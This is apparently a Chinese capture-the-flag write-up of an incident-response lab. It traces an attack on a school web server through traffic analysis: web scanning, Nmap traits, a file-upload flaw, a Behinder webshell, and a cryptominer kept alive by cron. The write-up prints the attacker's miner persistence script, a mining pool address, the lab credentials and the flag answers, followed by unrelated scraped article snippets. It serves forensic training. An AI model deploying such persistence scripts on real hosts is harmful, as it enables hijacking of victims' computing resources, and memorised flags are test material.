玄机——某学校系统中挖矿病毒应急排查

本篇文章主要记录某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包
需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马

文章目录

    • 靶机介绍
    • 1.使用工具分析共有多少IP存在扫描web特征,提交其数量
    • 2.在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
    • 3.提交存在使用NMAP扫描特征的IP
    • 4.审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
    • 5.审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
    • 6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名
    • 7.审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
    • 8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
    • 9.清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
    • 10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
    • 11.清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag


靶机介绍

背景:完全仿真了某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包
需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马
以及清除掉攻击者上传的挖矿程序以及后门程序,挖矿环境完全还原了真实环境,但不会出网,比较有意义,清除做了check操作,你只需要按照相关题目引导进行清除
在指定目录下查看flag提交即可,流量包在远程登录成功后/hacker2025.pcap(玄机直接以附件形式下载)
流量中被攻击机IP:192.168.37.11
SSH远程端口:2222 账号密码:root/edusec123

下载地址:点击此处
参考文章:州弟学安全

要求:

  1. 使用工具分析共有多少IP存在扫描web特征,提交其数量
  2. 在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
  3. 提交存在使用NMAP扫描特征的IP
  4. 审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
  5. 审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
  6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名
  7. 审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
  8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
  9. 清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
  10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
  11. 清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

1.使用工具分析共有多少IP存在扫描web特征,提交其数量

这里我们打开靶机的同时,也打开一台kali,用于端口以及服务的扫描:
在这里插入图片描述

这里由于两台机器属于同一网段,所以直接使用nmap进行扫描:

nmap 192.168.44.0/24

显示结果如下:
在这里插入图片描述

这时候我们得到目标机器的ip地址,而题目中的“使用工具分析共有多少IP存在扫描web特征”,需要我们进行流量分析;

所以登录2222端口的服务,输入账号密码:

SSH远程端口:2222
账号密码:root / edusec123

在这里插入图片描述
在这里插入图片描述

随后即可链接成功;

在这里插入图片描述

查看根目录,发现hacker流量包,把他下载到本地用工具进行分析:

在这里插入图片描述

这里我是用xshell的xftp功能进行传输到本地:
在这里插入图片描述

然后进行分析——查看有多少IP访问了192.168.37.11这个靶机,可以使用命令:
缺点:需要一个个数,比较耗时;

http and ip.dst == 192.168.37.11  # 筛选http协议且目的地址为靶机的IP地址

也可以使用别的方法:
在这里插入图片描述

然后进行过滤器条件如下,进行筛选带有扫描特征的条件,那么之前讲过,怎么判断扫描特征?
答:短时间内大量访问不存在的文件属于扫描特征,但是由于实战中每个站点"文件不存在"返回状态码不一致,可能是404、403、500、502、405等情况,那么我们可以自行测试

所以访问网站,输入一个不存在的文件,看看文件不存在的状态码是什么?
在这里插入图片描述

可以看到是404,所以我们就可以根据状态码进行筛选:

在这里插入图片描述

http.response.code==404

在这里插入图片描述

也可以放进本地工具里进行分析:

count() by 表示计数,id.orig_h表示源地址,status_code表示状态码,|表示条件分隔

在这里插入图片描述

发现还剩IP地址为29个,所以flag:

flag{29}

2.在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

这里题目给出的具体的时间范围,结合实际情况的话:
(1) 在企业中,每天可以产生几十TB的数据,要是遇到webshell入侵的话,不可能一条一条去查找;
(2)所以在确定时间范围的情况下,去筛选排除就很有必要;这就是此题的目的

根据题目,输入命令:

ip.addr == 192.168.37.10 and ip.dst == 192.168.37.11 and tcp.port == 55689

可以得到3条请求记录,追踪http流进行查看:

在这里插入图片描述

在这里插入图片描述

将他们的url分别尝试一次:

/servlet/user/uploadAvatar
/servlet/user/profile?uploadSuccess=true
/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

分析:

  1. 第一个请求看特征就知道是上传文件
  2. 第二个看关键词就知道上传成功
  3. 第三个应该是GET访问了上传的文件

(所以这是一次任意文件上传攻击

这里根据题目,应该是url路径,但是最终结果却是一个文件名,不懂:
最终的flag为:
flag{06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

3.提交存在使用NMAP扫描特征的IP

通常情况下,nmap扫描到web服务(80或者8080端口),就会在URL或者User-Agent里添加nmap字样,很容易辨识。
除此之外,nmap则会进行SYN扫描,FIN扫描等。

NMAP最大特征: 扫描 HTTP 时,会在 URL 及 UA 里包含 nmap 关键字特征

http.request.headers contains "Nmap"  
http.user_agent contains "Nmap"

可以发现记录,很容易得到攻击IP为192.168.37.4
在这里插入图片描述

假如对方没有扫描HTTP协议,只进行了端口扫描?
那么在nmap中使用TCP SYN扫描的情况下,可以进行筛选。

  • 基于 TCP 标志位(SYN 扫描特征)筛选
    • tcp.flags.syn == 1 && tcp.flags.ack == 0
  • 默认情况下大部分版本的nmap窗口大小为1024,当然也有其它版本的扫描可能为:2048,3072,4096
    • tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0

在这里插入图片描述

(如果不用tcp协议,而用udp呢?当然是问AI啊。)
在这里插入图片描述

flag{192.168.37.4}

4.审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口

根据之前的结果,我们发现了任意文件上传的漏洞:
在这里插入图片描述

第二个题目的时候,看到了文件上传的操作

  • 思路:WEB 系统起码有文件上传功能
  • 如何确定可疑访问?
  • 只查看正常状态码或排除非正常状态码后进行排序

这里还是使用工具,进行筛选:

count () by id.orig_h,status_code,uri|status_code==200 | sort -r count

在这里插入图片描述
然后去wireshark筛选一下:
在这里插入图片描述
可以看到有三条访问记录,进入查看内容:(冰蝎流量)
在这里插入图片描述

这里很容易可以看出是冰蝎的流量,而题目要求的是攻击者利用的漏洞接口,所以查看上述流量包即可得到
在这里插入图片描述
在这里插入图片描述

flag{uploadAvatar}

5.审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名

回到登录页面,其实我们访问WEB端口看到是有鉴权的,那么攻击者肯定是通过注册账号进去的,有时候溯源,账号可能会有很大的用处;

在这里插入图片描述

以及账号密码的参数payload:

在这里插入图片描述

所以可以根据上述进行筛选:

ip.addr==192.168.37.10&&http.request.uri=="/servlet/user/login" 

得到结果:
在这里插入图片描述
在这里插入图片描述

可以发现,输入账号密码后,跳转到了index.jsp页面;

flag{wangyunqing}

6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名

根据之前的分析,可以知道这个jsp文件,访问的次数最多:
在这里插入图片描述

ip.addr==192.168.37.10&&http.request.uri=="/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp" 

在这里插入图片描述

随便点击进去查看,可以发现有着加密的异常流量:

在这里插入图片描述

这里使用蓝队解密工具进行分析,由于是冰蝎的默认密钥加密,所以点击“解密”即可:

在这里插入图片描述
在这里插入图片描述

多看几个,发现了木马的文件名:

在这里插入图片描述

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

7.审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交

check操作:就是检测我们是否清除了木马,因为以往我们只能被动去做题,没有check有很大局限性,比如增删改操作,所以当我们做了清除操作后,flag会在主机指定文件生成

登录靶机,匹配木马的文件位置,然后进行删除:

find / -name *809e2ee5.jsp 
# 这里匹配全部名字反而找不到;

也是找到了文件路径:
在这里插入图片描述

直接删除即可:

rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

在这里插入图片描述

随后即可得到flag:

flag{1979c46c2af37dc62a4b05881e816995}

8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址

使用top命令进行查看cpu使用情况,发现了异常:

在这里插入图片描述

名为java的程序使用资源异常,且PID为913;
随后ps -ef 913 查看具体情况,发现矿马

在这里插入图片描述

位于/tmp目录下,将其下载下来进行反编译:

在这里插入图片描述

可以找到矿池IP:
在这里插入图片描述

放进微步在线分析一下:

在这里插入图片描述

flag{pool.minexmr.com:4444}

9.清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交

这里删除一下miner.jar文件,查看flag即可:

rm -rf miner.jar

在这里插入图片描述

flag{da236fe0cda81bfc03d022799589110e}

10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径

我们删除后,发现过了不久,恶意进程又重新启动,所以推测存在cron定时任务:

新的PID

在这里插入图片描述

首先排查计划任务:

crontab -l  
ls -la /etc/cron*

可以发现一个定时任务,每分钟运行:

在这里插入图片描述

随后检查/etc/cron 目录下,没有发现异常:
在这里插入图片描述

查看这个sh文件的具体内容:

在这里插入图片描述

#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi 

这段 Bash 脚本是 恶意挖矿程序的守护脚本,作用是:

  1. 监控:检查 java -jar /tmp/miner.jar 挖矿进程是否运行
  2. 自恢复:若进程/程序文件丢失,从隐藏备份(/usr/share/.miner/miner.jar)恢复并重启
  3. 隐蔽性:日志藏系统目录,进程后台静默运行,持续偷算力挖矿

危害:占满服务器资源,拖垮业务、增加成本,需立即清理文件、进程并溯源 。

flag{/usr/share/.per/persistence.sh}

11.清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

首先就是先清除定时任务,然后再去删除脚本文件,jar包;

crontab -e //编辑计划任务清除掉计划任务  
rm /usr/share/.per/persistence.sh //删除掉后门脚本程序  
rm /usr/share/.miner/miner.jarh //删除备份挖矿程序  
rm /tmp/miner.jar //删除已恢复的挖矿脚本  
kill -9 (PID) //杀掉挖矿进程

等待一分钟过后,CPU和进程都恢复正常,查看/var/flag/3/flag文件获取到flag:

flag{27bd067769b51ed71f899c7a6f08af2c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/912770.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/912770.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何解决wordpress批量删除媒体库中的图片很慢甚至卡死问题

批量删除WordPress媒体库中的图片速度很慢,如果批量删除的图片多会出现CPU100%甚至卡死,出现这个问题通常最主要的原因是服务器性能问题,如果换成性能好的服务器就不会了,比如换Siteground 家的服务器,就不会有这个问题…

深度学习入门day4--手写数字识别初探

鱼书提供的代码可以在github找到。源码地址 环境配置部分可以看前面几篇博客,还是用Anaconda,运行下面代码,可以看哪个库缺失。 import importlib import numpy as np deps {"torch": "torch","torchvision"…

STM32中定时器配置,HAL_Delay的原理,滴答定时器,微秒延时实现,PWM,呼吸灯

目录 定时器基本定时功能实现 CubeMX设置 手动书写代码部分 定时器启动 实现溢出回调函数 HAL_Delay介绍 HAL_Delay实现原理 HAL_Delay的优点 HAL_Delay的缺点 利用滴答定时器(SysTick)实现微秒级延时 PWM PWM介绍 通用定时器中的重要寄存器 PWM中的捕获比较通道 …

飞牛NAS(fnOS)详细安装教程

以下是飞牛NAS(fnOS)的详细安装教程,结合官方指南和社区实践整理而成: 一、准备工作 硬件需求 8GB或更大容量的U盘(用于制作启动盘)待安装设备(支持x86架构的物理机或迷你主机,如天钡…

springboot 显示打印加载bean耗时工具类

一 spring的原生接口说明 1.1 接口说明 Aware是Spring框架提供的一组特殊接口,可以让Bean从Spring容器中拿到一些资源信息。 BeanFactoryAware:实现该接口,可以访问BeanFactory对象,从而获取Bean在容器中的相关信息。 Environm…

OpenGL空间站场景实现方案

OpenGL空间站场景实现方案 需求分析 根据任务要求,我需要完成一个基于Nehe OpenGL的空间站场景,实现以下功能: 完整的空间站场景建模(包含多个模型和纹理贴图)Phong光照模型实现(包含多种光源和材质效果)摄像机键盘控制交互功能解决方案设计 技术栈 C++编程语言OpenG…

基于昇腾310B4的YOLOv8目标检测推理

YOLOv8目标检测 om 模型推理 本篇博客将手把手教你如何将 YOLOv8 目标检测模型部署到华为昇腾 310B4 开发板上进行高效推理(其他昇腾开发版也可参考此流程)。 整个流程包括: 模型格式转换(ONNX → OM)昇腾推理环境配…

前端跨域问题解决Access to XMLHttpRequest at xxx from has been blocked by CORS policy

在前端开发中,跨域资源共享(CORS)是一个常见的问题。它涉及到浏览器安全机制,防止网页从一个域获取资源时被另一个域阻止。错误信息如“Access to XMLHttpRequest at xxx from origin has been blocked by CORS policy”是典型的跨…

[ linux-系统 ] 软硬链接与动静态库

软硬链接 介绍 软链接 通过下图可以看出软链接和原始文件是两个独立的文件,因为软链接有着自己的inode编号: 具有独立的 inode ,也有独立的数据块,它的数据块里面保存的是指向的文件的路径,公用 inode 硬链接 通过…

3D 商品展示与 AR 试戴能为珠宝行业带来一些便利?

对于珠宝行业而言,长久以来,如何让消费者在做出购买决策之前,便能真切且直观地领略到珠宝独一无二的魅力,始终是横亘在行业发展道路上的一道棘手难题。而 3D 互动营销的横空出世,恰似一道曙光,完美且精准地…

电子电气架构 --- SOVD功能简单介绍

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 简单,单纯,喜欢独处,独来独往,不易合同频过着接地气的生活,除了生存温饱问题之外,没有什么过多的欲望,表面看起来很高冷,内心热情,如果你身…

【Java编程动手学】 Java中的运算符全解析

文章目录 一、引言二、算术运算符1、基本概念2、具体运算符及示例 三、关系运算符1、基本概念2、具体运算符及示例 四、自增减运算符1、基本概念2、具体运算符及示例 五、逻辑运算符1、基本概念2、具体运算符及示例 六、位运算符1、基本概念2、具体运算符及示例 七、移位运算符…

【前端】1 小时实现 React 简历项目

近期更新完毕。仅包括核心代码 目录结构 yarn.lock保证开发者每次能下载到同版本依赖,一般不需要特别留意 package.json 是 Node.js 项目、前端项目、npm/yarn的配置文件。 Dockerfile 是用来 定义 Docker 镜像构建过程的文本文件。它是一份脚本,告诉 …

python中的pydantic是什么?

Pydantic 是 Python 中一个用于数据验证和设置管理的库,主要通过 Python 类型注解(Type Hints)来定义数据结构,并自动验证输入数据的合法性。它广泛应用于 API 开发(如 FastAPI)、配置管理、数据序列化等场…

腾讯云市场目前饱和度

首先我需要理解市场饱和度的概念。市场饱和度通常指一个产品或服务在潜在市场中的渗透程度,高饱和度意味着市场增长空间有限,低饱和度则表明还有较大发展潜力。 从搜索结果看,腾讯云目前在中国云服务市场排名第三,市场份额约为15%…

EDR、NDR、XDR工作原理和架构及区别

大家读完觉得有帮助记得关注和点赞!!! EDR、NDR、XDR是网络安全中关键的检测与响应技术,它们在覆盖范围、数据源和响应机制上有显著差异。以下是它们的工作原理和架构详解: --- ### 🔍 一、EDR&#xff0…

vue3 + luckysheet 实现在线编辑Excel

效果图奉上: 引入的依赖: "dependencies": {"types/jquery": "^3.5.32","types/xlsx": "^0.0.36","jquery": "^3.7.1","xlsx": "^0.18.5",}在index.html中…

Linux下MinIO分布式安装部署

文章目录 一、MinIO简单说明二、MinIO分布式安装部署1、关闭SELINUX2、开启防火墙2.1、关闭firewall:2.2、安装iptables防火墙 3、安装MinIO4、添加MinIO集群控制脚本4.1添加启动脚本4.2添加关闭脚本 5、MinIO控制台使用 一、MinIO简单说明 1、MinIO是一个轻量的对…

Codeforces Round 980 (Div. 2)

ABC 略 D 这个过程一定是由1向后跳的过程中穿插有几次向前一步一步走。直到跳到一个位置后再把前面所有没有走过的位置倒序走一遍。总分就等于最大位置的前缀和-前面所有起跳位置和。前缀和固定我们只需要求到每个位置的最小起跳和即可。对于这个向后跳和向前走的过程我们可以…

Langchain实现rag功能

RAG(检索增强生成)的核心是通过外部知识库增强大模型回答的准确性和针对性,其工作流程与优化策略如下: 一、RAG 核心流程 ‌知识库构建‌ ‌文档加载与分割‌:将非结构化文档(PDF、Markdown等)…